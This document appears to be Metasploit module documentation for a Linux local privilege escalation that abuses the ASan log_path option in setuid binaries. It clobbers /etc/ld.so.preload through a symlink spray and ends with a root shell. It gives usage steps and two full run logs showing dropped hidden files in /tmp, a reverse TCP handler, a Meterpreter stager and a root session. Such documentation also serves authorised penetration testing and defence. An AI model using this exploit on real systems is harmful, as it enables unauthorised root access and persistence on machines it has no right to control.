## Description

  This module attempts to gain root privileges on Linux systems using
  setuid executables compiled with AddressSanitizer (ASan).

  ASan configuration related environment variables are permitted when
  executing setuid executables built with libasan. The `log_path` option
  can be set using the `ASAN_OPTIONS` environment variable, allowing
  clobbering of arbitrary files, with the privileges of the setuid user.

  This module uploads a shared object and sprays symlinks to overwrite
  `/etc/ld.so.preload` in order to create a setuid root shell.


## Vulnerable Application

  [AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html) (ASan)
  is a fast memory error detector. It consists of a compiler instrumentation
  module and a run-time library.

  An example executable can be compiled with ASan as follows:
 
  ```
  gcc -s -lasan -fsanitize=address -o asan.elf helloworld.c
  sudo mv asan.elf /usr/bin/asan.elf
  sudo chown root:root /usr/bin/asan.elf
  sudo chmod u+s /usr/bin/asan.elf
  ```


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. `use use exploit/linux/local/asan_suid_executable_priv_esc`
  4. `set SESSION [SESSION]`
  5. `set SUID_EXECUTABLE /path/to/suid/compiled/with/asan`
  6. `check`
  7. `run`
  8. You should get a new *root* session


## Options

### SESSION

  Which session to use, which can be viewed with `sessions`

### SUID_EXECUTABLE

  Path to a SUID executable compiled with ASan. (default: ``)

### SPRAY_SIZE

  Number of PID symlinks to create. (default: `50`)

### WritableDir

  A writable directory file system path. (default: `/tmp`)


## Scenarios

  ### Command Shell Session (Linux Mint 19)

  ```
  msf > use exploit/linux/local/asan_suid_executable_priv_esc 
  msf exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
  suid_executable => /usr/bin/a.out
  msf exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
  session => 1
  msf exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
  verbose => true
  msf exploit(linux/local/asan_suid_executable_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [+] /usr/bin/a.out is setuid
  [+] /usr/bin/a.out was compiled with ASan
  [+] gcc is installed
  [*] Writing '/tmp/.pCriI' (291 bytes) ...
  [*] Max line length is 65537
  [*] Writing 291 bytes in 1 chunks of 937 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.JtSfQ1.c' (142 bytes) ...
  [*] Max line length is 65537
  [*] Writing 142 bytes in 1 chunks of 513 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.TCLmzU.so.c' (323 bytes) ...
  [*] Max line length is 65537
  [*] Writing 323 bytes in 1 chunks of 1167 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.V7OEFt.c' (253 bytes) ...
  [*] Max line length is 65537
  [*] Writing 253 bytes in 1 chunks of 906 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.LpfTKJwR' (256 bytes) ...
  [*] Max line length is 65537
  [*] Writing 256 bytes in 1 chunks of 942 bytes (octal-encoded), using printf
  [*] Launching exploit...
  [+] Success! /tmp/.JtSfQ1 is set-uid root!
  -rwsr-xr-x 1 root root 8384 Jan 12 19:30 /tmp/.JtSfQ1
  [*] Executing payload...
  [*] Transmitting intermediate stager...(106 bytes)
  [*] Sending stage (914728 bytes) to 172.16.191.211
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56074) at 2019-01-12 03:30:47 -0500
  [+] Deleted /tmp/.JtSfQ1.c
  [+] Deleted /tmp/.TCLmzU.so.c
  [+] Deleted /tmp/.TCLmzU.so
  [+] Deleted /tmp/.V7OEFt.c
  [+] Deleted /tmp/.V7OEFt
  [+] Deleted /tmp/.LpfTKJwR

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.211
  OS           : LinuxMint 19 (Linux 4.15.0-20-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  meterpreter > 
  ```

  ### Meterpreter Session (Linux Mint 19)

  ```
  msf > use exploit/linux/local/asan_suid_executable_priv_esc 
  msf exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
  session => 1
  msf exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
  suid_executable => /usr/bin/a.out
  msf exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
  verbose => true
  msf exploit(linux/local/asan_suid_executable_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [+] /usr/bin/a.out is setuid
  [+] /usr/bin/a.out was compiled with ASan
  [+] gcc is installed
  [*] Writing '/tmp/.XBKiFa' (291 bytes) ...
  [*] Writing '/tmp/.ooMwKnEXt.c' (142 bytes) ...
  [*] Writing '/tmp/.cWZL3A.so.c' (329 bytes) ...
  [*] Writing '/tmp/.78iKLJOvX.c' (254 bytes) ...
  [*] Writing '/tmp/.WkXgm2agJ8' (261 bytes) ...
  [*] Launching exploit...
  [+] Success! /tmp/.ooMwKnEXt is set-uid root!
  -rwsr-xr-x 1 root root 8384 Jan 12 19:42 /tmp/.ooMwKnEXt
  [*] Executing payload...
  [*] Transmitting intermediate stager...(106 bytes)
  [*] Sending stage (914728 bytes) to 172.16.191.211
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56080) at 2019-01-12 03:42:43 -0500
  [+] Deleted /tmp/.XBKiFa
  [+] Deleted /tmp/.ooMwKnEXt.c
  [+] Deleted /tmp/.cWZL3A.so.c
  [+] Deleted /tmp/.cWZL3A.so
  [+] Deleted /tmp/.78iKLJOvX.c
  [+] Deleted /tmp/.78iKLJOvX
  [+] Deleted /tmp/.WkXgm2agJ8

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.211
  OS           : LinuxMint 19 (Linux 4.15.0-20-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  meterpreter > 
  ```

